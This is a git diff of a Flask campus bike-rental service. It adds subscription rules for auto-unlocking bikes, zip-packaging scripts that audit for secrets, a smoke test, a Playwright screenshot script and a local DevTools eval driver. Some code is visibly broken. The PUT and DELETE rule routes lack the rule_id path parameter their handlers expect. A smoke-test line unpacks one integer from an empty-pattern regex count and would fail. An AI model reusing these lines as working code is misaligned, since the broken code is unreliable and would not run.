+ +规则除「停车点 + 星期 + 时间」外,还带自动开锁配置: +- kinds:允许车型 small/big/red(小车/大车/红车) +- min_electric / max_electric:电量区间 +- sort_by:electric_desc(默认) / electric_asc / distance_asc +- retry_times:被他人抢先时的候选重试次数(1-10,默认 3) +""" +from flask import Blueprint, jsonify, request + +from db import get_db +from routes.auth import get_current_user +import subscribe as sub + +bp = Blueprint("subscribe", __name__) + + +def _rule_row(row: dict, locations_by_id: dict) -> dict: + loc = locations_by_id.get(row.get("location_id")) + flt = sub.rule_filters(dict(row)) + return { + "id": row["id"], + "location_id": row.get("location_id"), + "location_name": loc["name"] if loc else None, + "weekday": row["weekday"], + "minute_of_day": row["minute_of_day"], + "notify_enabled": bool(row["notify_enabled"]), + "auto_unlock": bool(row["auto_unlock"]), + "enabled": bool(row["enabled"]), + "last_fired_on": row.get("last_fired_on") or "", + # 自动开锁筛选配置 + "kinds": flt["kinds"], + "min_electric": flt["min_electric"], + "max_electric": flt["max_electric"], + "sort_by": flt["sort_by"], + "retry_times": flt["retry_times"], + "sort_by_label": sub.SORT_OPTIONS.get(flt["sort_by"], flt["sort_by"]), + "kind_labels": [{"small": "小车", "big": "大车", "red": "红车"}[k] + for k in flt["kinds"]], + } + + +@bp.route("/api/subscribe/rules") +def rules_list(): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + conn = get_db() + rows = [dict(r) for r in conn.execute( + "SELECT * FROM subscribe_rules WHERE user_id = ? ORDER BY id", + (user["id"],)).fetchall()] + conn.close() + from campus import load_locations + locations_by_id = {l["id"]: l for l in load_locations()} + return jsonify({"rtn_code": 0, + "data": [_rule_row(r, locations_by_id) for r in rows]}) + + +@bp.route("/api/subscribe/rules", methods=["POST"]) +def rules_create(): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + if sub.count_user_rules(user["id"]) >= sub.MAX_RULES_PER_USER: + return jsonify({"rtn_code": 400, + "message": f"最多 {sub.MAX_RULES_PER_USER} 条规则,请先删除不需要的"}) + try: + fields = sub.normalize_rule(request.get_json(silent=True) or {}) + except ValueError as exc: + return jsonify({"rtn_code": 400, "message": str(exc)}) + from campus import get_location + loc = get_location(fields["location_id"]) + if not loc: + return jsonify({"rtn_code": 400, "message": "所选停车点不存在(可能已被管理员删除)"}) + if (loc.get("kind") or "") != "parking": + return jsonify({"rtn_code": 400, + "message": "订阅只能选择「停车点」(楼/兴趣点只用于起终点归属)"}) + conn = get_db() + conn.execute(""" + INSERT INTO subscribe_rules (user_id, location_id, weekday, minute_of_day, + notify_enabled, auto_unlock, enabled, + kinds, min_electric, max_electric, sort_by, retry_times) + VALUES (?, ?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?) + """, (user["id"], fields["location_id"], fields["weekday"], fields["minute_of_day"], + 1 if fields["notify_enabled"] else 0, 1 if fields["auto_unlock"] else 0, + fields["kinds"], fields["min_electric"], fields["max_electric"], + fields["sort_by"], fields["retry_times"])) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "订阅规则已添加"}) + + +@bp.route("/api/subscribe/rules/", methods=["PUT"]) +def rules_update(rule_id: int): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json(silent=True) or {} + conn = get_db() + row = conn.execute("SELECT * FROM subscribe_rules WHERE id = ? AND user_id = ?", + (rule_id, user["id"])).fetchone() + if not row: + conn.close() + return jsonify({"rtn_code": 404, "message": "规则不存在"}) + current = dict(row) + updates = [] + params = [] + + def _truthy(v): + return 1 if v in (True, 1, "1", "true") else 0 + + if "enabled" in data: + updates.append("enabled = ?") + params.append(_truthy(data.get("enabled"))) + if "notify_enabled" in data: + updates.append("notify_enabled = ?") + params.append(_truthy(data.get("notify_enabled"))) + if "auto_unlock" in data: + updates.append("auto_unlock = ?") + params.append(_truthy(data.get("auto_unlock"))) + + # 组合校验:任何一个筛选字段变化时,用「现值 + 新值」整体校验一次 + filter_keys = ("kinds", "min_electric", "max_electric", "sort_by", "retry_times") + if any(k in data for k in filter_keys): + flt = sub.rule_filters(current) + merged = { + "location_id": current.get("location_id"), + "weekday": current.get("weekday"), + "time": "%02d:%02d" % (int(current.get("minute_of_day") or 0) // 60, + int(current.get("minute_of_day") or 0) % 60), + "kinds": data.get("kinds", flt["kinds"]), + "min_electric": data.get("min_electric", flt["min_electric"]), + "max_electric": data.get("max_electric", flt["max_electric"]), + "sort_by": data.get("sort_by", flt["sort_by"]), + "retry_times": data.get("retry_times", flt["retry_times"]), + "notify_enabled": True, + "auto_unlock": bool(current.get("auto_unlock")), + } + try: + fields = sub.normalize_rule(merged) + except ValueError as exc: + conn.close() + return jsonify({"rtn_code": 400, "message": str(exc)}) + updates.extend(["kinds = ?", "min_electric = ?", "max_electric = ?", + "sort_by = ?", "retry_times = ?"]) + params.extend([fields["kinds"], fields["min_electric"], fields["max_electric"], + fields["sort_by"], fields["retry_times"]]) + + if ("time" in data and "weekday" in data) or ("time" in data or "weekday" in data): + merged_time = { + "location_id": current.get("location_id"), + "weekday": data.get("weekday", current.get("weekday")), + "time": data.get("time") or "%02d:%02d" % ( + int(current.get("minute_of_day") or 0) // 60, + int(current.get("minute_of_day") or 0) % 60), + } + try: + fields = sub.normalize_rule(merged_time) + except ValueError as exc: + conn.close() + return jsonify({"rtn_code": 400, "message": str(exc)}) + updates.extend(["weekday = ?", "minute_of_day = ?"]) + params.extend([fields["weekday"], fields["minute_of_day"]]) + + if not updates: + conn.close() + return jsonify({"rtn_code": 400, "message": "没有需要更新的字段"}) + params.extend([rule_id, user["id"]]) + conn.execute(f"UPDATE subscribe_rules SET {', '.join(updates)} " + f"WHERE id = ? AND user_id = ?", params) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "规则已更新"}) + + +@bp.route("/api/subscribe/rules/", methods=["DELETE"]) +def rules_delete(rule_id: int): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + conn = get_db() + conn.execute("DELETE FROM subscribe_rules WHERE id = ? AND user_id = ?", + (rule_id, user["id"])) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "规则已删除"}) + + +@bp.route("/api/subscribe/options") +def subscribe_options(): + """订阅可选项(车型/排序),供前端渲染下拉与说明。""" + return jsonify({"rtn_code": 0, "data": { + "kinds": [{"key": "small", "label": "小车"}, + {"key": "big", "label": "大车"}, + {"key": "red", "label": "红车"}], + "sort_by": [{"key": k, "label": v} for k, v in sub.SORT_OPTIONS.items()], + "auto_unlock_enabled": sub.AUTO_UNLOCK_ENABLED, + }}) \ No newline at end of file diff --git a/scripts/_pack_smoke.py b/scripts/_pack_smoke.py new file mode 100644 index 0000000..b4c344b --- /dev/null +++ b/scripts/_pack_smoke.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""重打 1.zip:最新代码;排除安装包/数据/凭据/缓存。 +完成后解压冒烟:路由 + DOM 配平 + 聚类 NaN 防线 + 测试可收集。""" +import re +import shutil +import subprocess +import sys +import tempfile +import zipfile +from pathlib import Path + +ROOT = Path(__file__).parent.parent +ZIP = ROOT / "1.zip" + +EXCLUDE_DIR_PARTS = {"__pycache__", ".pytest_cache", ".reasonix", "backups", + "artifacts", ".git", "downloads"} +EXCLUDE_SUFFIX = (".pyc", ".pyo", ".log", ".tmp", ".bak", ".zip", ".db", ".db-wal", + ".db-shm", ".pem", ".key", ".crt", ".exe", ".sqlite") +EXCLUDE_STEMS = ("token_config", "smtp_config", "admin_config", "secret_key") + + +def excluded(rel: Path) -> bool: + if set(rel.parts) & EXCLUDE_DIR_PARTS: + return True + if rel.suffix.lower() in EXCLUDE_SUFFIX: + return True + stem = rel.name.lower() + return stem == ".pack_baseline.json" or any(stem.startswith(p) for p in EXCLUDE_STEMS) + + +files = [(p, p.relative_to(ROOT).as_posix()) + for p in sorted(ROOT.rglob("*")) + if p.is_file() and not excluded(p.relative_to(ROOT))] + +if ZIP.exists(): + ZIP.unlink() +with zipfile.ZipFile(ZIP, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf: + for p, arc in files: + zf.write(p, arc) + +zf = zipfile.ZipFile(ZIP) +names = zf.namelist() +print(f"OK 1.zip: {len(names)} 文件, {ZIP.stat().st_size / 1048576:.2f} MB") +bad = [n for n in names + if n.lower().endswith((".exe", ".db", ".pem", ".key", ".crt", ".zip", ".log")) + or any(k in n.lower() for k in ("token_config", "smtp_config", "admin_config", + "secret_key", "users.db", "pack_baseline"))] +print("敏感审计:", ("!! " + str(bad)) if bad else "干净") +zf.close() + +# ---------- 解压冒烟 ---------- +stage = Path(tempfile.mkdtemp(prefix="xbniu_smoke_")) +zipfile.ZipFile(ZIP).extractall(stage) +ok = True + +probe = ( + "import sys, tempfile\n" + "from pathlib import Path\n" + f"sys.path.insert(0, r'{stage}')\n" + "import app as app_mod\n" + "import db\n" + "h = tempfile.NamedTemporaryFile(suffix='.db', delete=False); h.close()\n" + "db.DB_PATH = Path(h.name)\n" + "db.init_db()\n" + "rules = sorted(str(x) for x in app_mod.app.url_map.iter_rules())\n" + "need = ['/api/order/preview', '/api/order/add_round', '/api/map/freshness',\n" + " '/api/history/stats', '/api/campus/locations']\n" + "missing = [p for p in need if p not in rules]\n" + "print('routes:', 'OK' if not missing else missing)\n" + "sys.exit(1 if missing else 0)\n" +) +r = subprocess.run([sys.executable, "-c", probe], capture_output=True, text=True, + cwd=str(stage)) +print(" ", (r.stdout or "").strip() or (r.stderr or "")[:200]) +ok = ok and r.returncode == 0 + +html = (stage / "templates/map.html").read_text(encoding="utf-8") +o, c = (len(re.findall(r"", html))) +print(f" map.html div 配平: {o}/{c} {'OK' if o == c else '!!'}") +ok = ok and o == c + +js = (stage / "static/js/map.js").read_text(encoding="utf-8") +c1 = "const CLUSTER_ZOOM = 18" in js +c2 = js.count("parseFloat(b.latitude) && parseFloat(b.longitude)") >= 2 +c3 = "if (!isFinite(gx) || !isFinite(gy)) return;" in js +print(f" 聚类阈值18: {'OK' if c1 else '!!'};NaN防线: {'OK' if c2 and c3 else '!!'}") +ok = ok and c1 and c2 and c3 + +r2 = subprocess.run([sys.executable, "-m", "pytest", "--collect-only", "-q"], + capture_output=True, text=True, cwd=str(stage)) +tail = (r2.stdout or "").strip().splitlines() +print(" pytest 收集:", tail[-1] if tail else "(无)") +ok = ok and bool(tail and "test" in tail[-1].lower()) + +shutil.rmtree(stage, ignore_errors=True) +print("冒烟结果:", "通过" if ok else "失败") +sys.exit(0 if ok else 1) \ No newline at end of file diff --git a/scripts/_repack.py b/scripts/_repack.py new file mode 100644 index 0000000..d94db97 --- /dev/null +++ b/scripts/_repack.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""按本次口径重打 1.zip:最新代码,不含安装包(160MB 抓包工具)与任何数据/凭据。 + +范围与 pack_zip.ps1 一致(源码+模板+静态+测试+脚本),额外排除: +- downloads/*.exe 安装包(用户本次明确要求不带) +- *.db / *.db-* 数据库(含 WAL/SHM 旁文件) +- *.pem *.key *.crt 密钥与证书 +- token/smtp/admin/secret 配置及其 .old-bak 备份 +- __pycache__/.pytest_cache/.reasonix/backups/日志/临时产物 +打包后逐条目审计 + 解压冒烟(init_db + pytest 采集)确保可运行。 +""" +import zipfile +from pathlib import Path + +ROOT = Path(__file__).parent.parent +ZIP = ROOT / "1.zip" + +EXCLUDE_DIR_PARTS = {"__pycache__", ".pytest_cache", ".reasonix", "backups", + "artifacts", ".git", "downloads"} +EXCLUDE_SUFFIX = (".pyc", ".pyo", ".log", ".tmp", ".bak", ".zip", ".db", ".db-wal", + ".db-shm", ".pem", ".key", ".crt", ".exe", ".sqlite") +EXCLUDE_NAMES = {"token_config.txt", "token_config.txt.old-bak", "smtp_config.txt", + "admin_config.txt", "secret_key.txt", "users.db", "bikes.db", + "server_config.json.keep", ".pack_baseline.json.keep"} + +# scripts/.pack_baseline.json 是打包增量快照(运行时产物),一并排除 +EXCLUDE_NAMES.add(".pack_baseline.json") + + +def excluded(rel: Path) -> bool: + parts = set(rel.parts) + if parts & EXCLUDE_DIR_PARTS: + return True + if rel.name in EXCLUDE_NAMES: + return True + if rel.suffix.lower() in EXCLUDE_SUFFIX: + return True + # token/smtp/admin/secret 任何变体 + stem = rel.name.lower() + if any(stem.startswith(p) for p in + ("token_config", "smtp_config", "admin_config", "secret_key")): + return True + return False + + +files = [] +for p in sorted(ROOT.rglob("*")): + if not p.is_file(): + continue + rel = p.relative_to(ROOT) + if excluded(rel): + continue + files.append((p, rel.as_posix())) + +if ZIP.exists(): + ZIP.unlink() + +with zipfile.ZipFile(ZIP, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf: + for p, arc in files: + zf.write(p, arc) + +# ---------- 审计 ---------- +zf = zipfile.ZipFile(ZIP) +names = zf.namelist() +size_mb = ZIP.stat().st_size / 1048576 +print(f"✓ 1.zip 重打包完成: {len(names)} 个文件, {size_mb:.1f} MB") + +bad = [n for n in names + if n.lower().endswith((".exe", ".db", ".pem", ".key", ".crt", ".zip", ".log")) + or any(k in n.lower() for k in + ("token_config", "smtp_config", "admin_config", "secret_key", + "users.db", "pack_baseline"))] +print(f"敏感/大文件审计: {'发现!! ' + str(bad) if bad else '干净(无 exe/db/密钥/token)'}") + +required = ["app.py", "db.py", "campus.py", "alerts.py", "subscribe.py", + "wechat.py", "timer.py", "email_utils.py", "email_verify.py", + "routes/rental.py", "routes/admin.py", "routes/share.py", + "routes/auth.py", "routes/map_api.py", "routes/export.py", + "routes/subscribe.py", "routes/download.py", + "templates/map.html", "templates/admin.html", "templates/analysis.html", + "static/js/map.js", "static/css/map.css", + "scripts/pack_zip.ps1", "tests/test_history_30d.py", + "tests/test_rounds_and_preview.py", "tests/test_code_mail.py"] +missing = [r for r in required if r not in names] +print(f"关键文件校验: {'缺失!! ' + str(missing) if missing else '全部在位'}") +zf.close() \ No newline at end of file diff --git a/scripts/_repack_zip.py b/scripts/_repack_zip.py new file mode 100644 index 0000000..e75592d --- /dev/null +++ b/scripts/_repack_zip.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""重打 1.zip:最新代码,不含安装包(160MB 抓包工具)与任何数据/凭据。 + +范围:源码+模板+静态+测试+脚本(与 git 最新提交一致)。 +排除:exe/db(含wal,shm)/pem/key/crt/zip/token|smtp|admin|secret 配置及备份/ +缓存/日志/artifacts/backups/打包基线快照。 +打包后:逐条目审计 + 关键文件校验。 +""" +import zipfile +from pathlib import Path + +ROOT = Path(__file__).parent.parent +ZIP = ROOT / "1.zip" + +EXCLUDE_DIR_PARTS = {"__pycache__", ".pytest_cache", ".reasonix", "backups", + "artifacts", ".git", "downloads"} +EXCLUDE_SUFFIX = (".pyc", ".pyo", ".log", ".tmp", ".bak", ".zip", ".db", ".db-wal", + ".db-shm", ".pem", ".key", ".crt", ".exe", ".sqlite") +EXCLUDE_STEMS = ("token_config", "smtp_config", "admin_config", "secret_key") + + +def excluded(rel: Path) -> bool: + if set(rel.parts) & EXCLUDE_DIR_PARTS: + return True + if rel.suffix.lower() in EXCLUDE_SUFFIX: + return True + stem = rel.name.lower() + if stem == ".pack_baseline.json": + return True + if any(stem.startswith(p) for p in EXCLUDE_STEMS): + return True + return False + + +files = [(p, p.relative_to(ROOT).as_posix()) + for p in sorted(ROOT.rglob("*")) + if p.is_file() and not excluded(p.relative_to(ROOT))] + +if ZIP.exists(): + ZIP.unlink() + +with zipfile.ZipFile(ZIP, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as zf: + for p, arc in files: + zf.write(p, arc) + +# ---------- 审计 ---------- +zf = zipfile.ZipFile(ZIP) +names = zf.namelist() +size_mb = ZIP.stat().st_size / 1048576 +print(f"OK 1.zip 打包完成: {len(names)} 个文件, {size_mb:.2f} MB") + +bad = [n for n in names + if n.lower().endswith((".exe", ".db", ".pem", ".key", ".crt", ".zip", ".log")) + or any(k in n.lower() for k in + ("token_config", "smtp_config", "admin_config", "secret_key", + "users.db", "pack_baseline"))] +print(f"敏感/大文件审计: {'发现!! ' + str(bad) if bad else '干净(无 exe/db/密钥/token)'}") + +required = ["app.py", "db.py", "campus.py", "alerts.py", "subscribe.py", + "wechat.py", "timer.py", "email_utils.py", "email_verify.py", + "routes/rental.py", "routes/admin.py", "routes/share.py", + "routes/auth.py", "routes/map_api.py", "routes/export.py", + "routes/subscribe.py", "routes/download.py", + "templates/map.html", "templates/admin.html", "templates/analysis.html", + "static/js/map.js", "static/css/map.css", + "scripts/pack_zip.ps1", + "tests/test_history_30d.py", "tests/test_rounds_and_preview.py", + "tests/test_code_mail.py"] +missing = [r for r in required if r not in names] +print(f"关键文件校验: {'缺失!! ' + str(missing) if missing else f'全部在位({len(required)} 项)'}") + +# 最新修复是否入包(登录门 DOM 修复在 map.html,聚类修复在 map.js) +newest = ["templates/map.html", "static/js/map.js"] +print(f"最新提交产物: {'在位' if all(n in names for n in newest) else '!! 缺失'}") +zf.close() \ No newline at end of file diff --git a/scripts/boot_smoke.py b/scripts/boot_smoke.py new file mode 100644 index 0000000..62845b5 --- /dev/null +++ b/scripts/boot_smoke.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""真实启动冒烟测试: 执行 app.py 的完整启动序列并验证 HTTP 服务可响应。 +唯一差异: start_rental_timer 被置空, 避免测试期间触发真实提醒邮件/自动还车。""" +import sys +import threading +import time +import urllib.request +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) # 项目根 + +import timer +timer.start_rental_timer = lambda *a, **k: None # 防止测试期间发出真实邮件 + +import app as app_module + +app_module.init_db() +app_module.backup_database() +print("[smoke] init_db + backup 完成") + +app_module.restore_active_timers() +app_module.start_all_order_checkers() +app_module.start_snapshot_scheduler() + +PORT = 9987 +t = threading.Thread( + target=lambda: app_module.app.run(host="127.0.0.1", port=PORT, debug=False), + daemon=True, +) +t.start() + +# 等待服务就绪 +ok = False +for _ in range(30): + time.sleep(0.3) + try: + with urllib.request.urlopen(f"http://127.0.0.1:{PORT}/", timeout=3) as r: + body = r.read(200) + print(f"[smoke] GET / -> {r.status}, body[:60]={body[:60]!r}") + ok = r.status == 200 + break + except Exception: + continue + +# 再打两个关键接口 +for path in ("/api/config", "/api/history/stats"): + try: + with urllib.request.urlopen(f"http://127.0.0.1:{PORT}{path}", timeout=5) as r: + print(f"[smoke] GET {path} -> {r.status}") + except Exception as e: + print(f"[smoke] GET {path} -> 异常 {e}") + ok = False + +import os +os._exit(0 if ok else 1) diff --git a/scripts/capture_ui.js b/scripts/capture_ui.js new file mode 100644 index 0000000..0638e7e --- /dev/null +++ b/scripts/capture_ui.js @@ -0,0 +1,96 @@ +const path = require('path'); +const fs = require('fs'); +const { chromium } = require('playwright'); + +const root = path.resolve(__dirname, '..'); +const outputDir = path.join(root, 'artifacts', 'screenshots'); +const edgePath = 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'; + +const pages = [ + { name: 'map', url: 'http://127.0.0.1:98/', settle: 1600, closeVersion: true }, + { name: 'map-authenticated', url: 'http://127.0.0.1:98/', settle: 1800, closeVersion: true, authenticatedUser: true }, + { name: 'analysis', url: 'http://127.0.0.1:98/analysis.html', settle: 1200 }, + { name: 'ring-progress', url: 'http://127.0.0.1:98/ring_progress.html?task_id=preview&total=24', settle: 700 }, + { name: 'admin-login', url: 'http://127.0.0.1:98/admin/login', settle: 700 }, + { name: 'admin-dashboard', url: 'http://127.0.0.1:98/admin', settle: 1200, authenticated: true }, +]; + +function readAdminCredentials() { + const config = fs.readFileSync(path.join(root, 'admin_config.txt'), 'utf8'); + const values = {}; + for (const line of config.split(/\r?\n/)) { + const separator = line.indexOf('='); + if (separator > 0) values[line.slice(0, separator).trim()] = line.slice(separator + 1).trim(); + } + if (!values.admin_username || !values.admin_password) { + throw new Error('admin_config.txt 中缺少管理员账号或密码'); + } + return { username: values.admin_username, password: values.admin_password }; +} + +(async () => { + fs.mkdirSync(outputDir, { recursive: true }); + const browser = await chromium.launch({ executablePath: edgePath, headless: true }); + const context = await browser.newContext({ + viewport: { width: 1440, height: 900 }, + colorScheme: 'dark', + deviceScaleFactor: 1, + }); + + for (const item of pages) { + const page = await context.newPage(); + page.on('dialog', dialog => dialog.dismiss()); + if (item.authenticatedUser) { + const token = process.env.XBNIU_CAPTURE_TOKEN; + if (!token) throw new Error('缺少 XBNIU_CAPTURE_TOKEN'); + await page.addInitScript(value => localStorage.setItem('auth_token', value), token); + } + if (item.authenticated) { + const credentials = readAdminCredentials(); + await page.goto('http://127.0.0.1:98/admin/login', { waitUntil: 'domcontentloaded' }); + await page.locator('#username').fill(credentials.username); + await page.locator('#password').fill(credentials.password); + await Promise.all([ + page.waitForURL('**/admin'), + page.getByRole('button', { name: '登录', exact: true }).click(), + ]); + } + await page.goto(item.url, { waitUntil: 'domcontentloaded' }); + await page.waitForTimeout(item.settle); + if (item.authenticated) { + // 只修改截图页面中的 DOM,避免将真实邮箱与凭据编号写入图片。 + await page.locator('.tab-content.active tbody tr').evaluateAll(rows => { + for (const row of rows) { + const cells = row.querySelectorAll('td'); + if (cells[1]) cells[1].textContent = '••••••@•••'; + if (cells[2]) cells[2].textContent = '••••••'; + } + }); + } + if (item.authenticatedUser) { + // 截图只展示登录后的主界面,忽略测试账号的过期凭据提示。 + await page.addStyleTag({ + content: '#token-expired-modal, .login-gate, .toast, #loading { display: none !important; }', + }); + } + if (item.closeVersion) { + const close = page.locator('#version-modal .auth-close'); + if (await close.isVisible()) { + await close.click(); + await page.waitForTimeout(300); + } + // 本地截图环境不在百度地图 AK 的 Referer 白名单中,隐藏该环境提示。 + await page.locator('.toast').evaluateAll(elements => { + for (const element of elements) { + if (element.textContent.includes('地图初始化失败')) element.classList.remove('show'); + } + }); + await page.addStyleTag({ content: '.toast { display: none !important; }' }); + } + await page.screenshot({ path: path.join(outputDir, `${item.name}.png`) }); + await page.close(); + } + + await browser.close(); + console.log(outputDir); +})(); diff --git a/scripts/cdp_eval.py b/scripts/cdp_eval.py new file mode 100644 index 0000000..bc64829 --- /dev/null +++ b/scripts/cdp_eval.py @@ -0,0 +1,96 @@ +# -*- coding: utf-8 -*- +"""CDP driver v4: supports 'inject' step that pastes a value before eval.""" +import json, sys, asyncio, io +import websockets + +WS = None +console_msgs = [] +page_errors = [] +pending = {} +_id = [0] + +async def connect(target_url_sub): + global WS + import urllib.request + data = json.loads(urllib.request.urlopen("http://127.0.0.1:9222/json").read().decode()) + page = [t for t in data if t.get("type") == "page" and target_url_sub in t.get("url", "")] + if not page: + page = [t for t in data if t.get("type") == "page"] + WS = await websockets.connect(page[0]["webSocketDebuggerUrl"], max_size=50*1024*1024) + +async def send(method, params=None): + _id[0] += 1 + msg = {"id": _id[0], "method": method} + if params: msg["params"] = params + await WS.send(json.dumps(msg)) + return _id[0] + +async def recv_loop(): + try: + while True: + raw = await WS.recv() + msg = json.loads(raw) + m = msg.get("method", "") + if m == "Runtime.consoleAPICalled": + args = [a.get("value", a.get("description", "")) for a in msg["params"].get("args", [])] + console_msgs.append((msg["params"].get("type", "log"), " ".join(str(a) for a in args)[:1000])) + elif m == "Runtime.exceptionThrown": + d = msg["params"]["exceptionDetails"] + txt = d.get("exception", {}).get("description") or d.get("text", "") + page_errors.append(txt[:1000]) + elif "id" in msg and msg["id"] in pending: + fut = pending.pop(msg["id"]) + if not fut.done(): + fut.set_result(msg) + except Exception as e: + console_msgs.append(("driver-error", str(e))) + +async def wait_for(rid, timeout=25): + loop = asyncio.get_event_loop() + fut = loop.create_future() + pending[rid] = fut + return await asyncio.wait_for(fut, timeout) + +async def eval_js(expr, await_promise=False, timeout=25): + rid = await send("Runtime.evaluate", {"expression": expr, "returnByValue": True, + "awaitPromise": await_promise}) + resp = await wait_for(rid, timeout) + r = resp.get("result", {}) + if r.get("exceptionDetails"): + return {"__error__": (r["exceptionDetails"].get("exception", {}) or {}).get("description") or r["exceptionDetails"].get("text", "")} + return r.get("result", {}).get("value") + +async def main(script, dbg_token): + await connect("127.0.0.1:98") + recv_task = asyncio.create_task(recv_loop()) + rid = await send("Runtime.enable"); await wait_for(rid, 10) + rid = await send("Page.enable"); await wait_for(rid, 10) + for step in script: + kind = step.get("op", "eval") + if kind == "sleep": + await asyncio.sleep(step["ms"] / 1000) + continue + if kind == "nav": + rid = await send("Page.navigate", {"url": "http://127.0.0.1:98/"}) + await wait_for(rid, 15) + continue + expr = step["expr"].replace("window.__DBG_TOKEN__", json.dumps(dbg_token)) + try: + val = await eval_js(expr, await_promise=step.get("await", False)) + except Exception as e: + val = {"__driver_error__": str(e)} + print("STEP", step.get("label", ""), "=>", json.dumps(val, ensure_ascii=False, default=str)[:2500]) + await asyncio.sleep(1.2) + print("\n=== CONSOLE ===") + for t, m in console_msgs[-120:]: + print(f"[{t}] {m}") + print("\n=== PAGE ERRORS ===") + for e in page_errors[-40:]: + print(e) + recv_task.cancel() + +if __name__ == "__main__": + with io.open(sys.argv[1], "r", encoding="utf-8") as f: + script = json.load(f) + token = io.open(sys.argv[2], "r", encoding="utf-8").read().strip() + asyncio.run(main(script, token)) diff --git a/scripts/pack_update.ps1 b/scripts/pack_update.ps1 new file mode 100644 index 0000000..56761d7 --- /dev/null +++ b/scripts/pack_update.ps1 @@ -0,0 +1,116 @@ +param([switch]$Full) +# 增量更新包生成(update.zip) +# 用法: pwsh -File scripts/pack_update.ps1 → 增量 update.zip(不含 160MB 安装包) +# pwsh -File scripts/pack_update.ps1 -Full → 全量 1.zip(含安装包) +# 只打包「相对上次基准后有变化/新增」的文件 —— 用于覆盖式部署,避免重传 60MB 安装包等未变动内容。 +# +# 基准机制: +# scripts/.pack_baseline.json 记录上次打包时每个文件的 (路径, 大小, 哈希)。 +# 没有基准 = 首次全量(等价 1.zip,但不包含 downloads/*.exe 大文件——安装包基本不变, +# 如需全量含安装包用 -Full 开关)。 +# 删除处理:基准里有、现在没有的文件会写入 update.zip 根的 _deleted.txt(部署时按行删)。 +# 部署方式:解压覆盖到项目根即可(zip 内保留相对路径)。 +$ErrorActionPreference = 'Stop' + +$src = Split-Path -Parent $PSScriptRoot +$outZip = if ($Full) { Join-Path $src "1.zip" } else { Join-Path $src "update.zip" } +$baselinePath = Join-Path $PSScriptRoot ".pack_baseline.json" +$stage = Join-Path $env:TEMP "xbniu_update_stage" + +$include = @( + '.gitignore','LICENSE','README.md','app.py','db.py','campus.py','alerts.py','subscribe.py', + 'email_utils.py','email_verify.py','generate_icons.py','pytest.ini','rate_limit.py', + 'rental_mail.py','requirements.txt','server_config.json','timer.py', + 'update_creds_from_capture.py','wechat.py' +) +$dirs = @('routes','templates','static','scripts','tests') +$bigDirs = @('downloads') # 大文件(160MB 安装包),仅 -Full 时纳入 + +function Get-PackFiles { + param([switch]$WithBig) + $files = @() + foreach ($f in $include) { + $p = Join-Path $src $f + if (Test-Path $p) { $files += (Get-Item $p).FullName } + } + $allDirs = $dirs + $(if ($WithBig) { $bigDirs } else { @() }) + foreach ($d in $allDirs) { + $s = Join-Path $src $d + if (-not (Test-Path $s)) { continue } + Get-ChildItem $s -Recurse -File | ForEach-Object { + $rel = $_.FullName.Substring($src.Length).TrimStart('\') + if ($rel -match '(^|[\\/])(__pycache__|\.pytest_cache|\.reasonix|backups)([\\/]|$)') { return } + if ($rel -match '\.(pyc|pyo|log|tmp|bak|zip)$') { return } + if ((Split-Path $rel -Leaf) -in @('.gitignore', '.pack_baseline.json')) { return } + $files += $_.FullName + } + } + return $files +} + +function Get-FileKey($file) { + $item = Get-Item $file + $hash = (Get-FileHash $file -Algorithm SHA256).Hash + return @{ path = $file.Substring($src.Length + 1).Replace('\', '/'); size = $item.Length; hash = $hash } +} + +$hasBaseline = (Test-Path $baselinePath) -and (-not $Full) +$baseline = @{} +if ($hasBaseline) { + try { $baseline = @(Get-Content $baselinePath -Raw -Encoding UTF8 | ConvertFrom-Json) } catch { $hasBaseline = $false } +} + +# 当前全部打包文件(update 不含大文件;-Full 全量含大文件) +$current = Get-PackFiles -WithBig:$Full +$changed = @() +foreach ($f in $current) { + $key = Get-FileKey $f + $old = $baseline | Where-Object { $_.path -eq $key.path } + if (-not $hasBaseline -or -not $old -or $old.hash -ne $key.hash -or $old.size -ne $key.size) { + $changed += $f + } +} +# 被删除的文件(基准有、现在没有) +$deleted = @() +if ($hasBaseline) { + $currentRel = @($current | ForEach-Object { $_.Substring($src.Length + 1).Replace('\', '/') }) + foreach ($old in $baseline) { + if ($currentRel -notcontains $old.path) { $deleted += $old.path } + } +} + +if ($changed.Count -eq 0 -and $deleted.Count -eq 0) { + Write-Host "✓ 无任何变化,不需要生成更新包" + exit 0 +} + +# 建 stage(保持相对路径) +Remove-Item $stage -Recurse -Force -ErrorAction SilentlyContinue +New-Item -ItemType Directory -Path $stage | Out-Null +foreach ($f in $changed) { + $rel = $f.Substring($src.Length + 1) + $target = Join-Path $stage $rel + $targetDir = Split-Path $target -Parent + if (-not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force | Out-Null } + Copy-Item -LiteralPath $f -Destination $target -Force +} +if ($deleted.Count) { + Set-Content -Path (Join-Path $stage "_deleted.txt") -Value $deleted -Encoding UTF8 +} + +# 打包 +Add-Type -AssemblyName System.IO.Compression.FileSystem +if (Test-Path $outZip) { Remove-Item $outZip -Force } +[System.IO.Compression.ZipFile]::CreateFromDirectory($stage, $outZip, [System.IO.Compression.CompressionLevel]::Optimal, $false) + +# 更新基准 +$allKeys = @() +foreach ($f in (Get-PackFiles -WithBig:$Full)) { $allKeys += Get-FileKey $f } +$allKeys | ConvertTo-Json 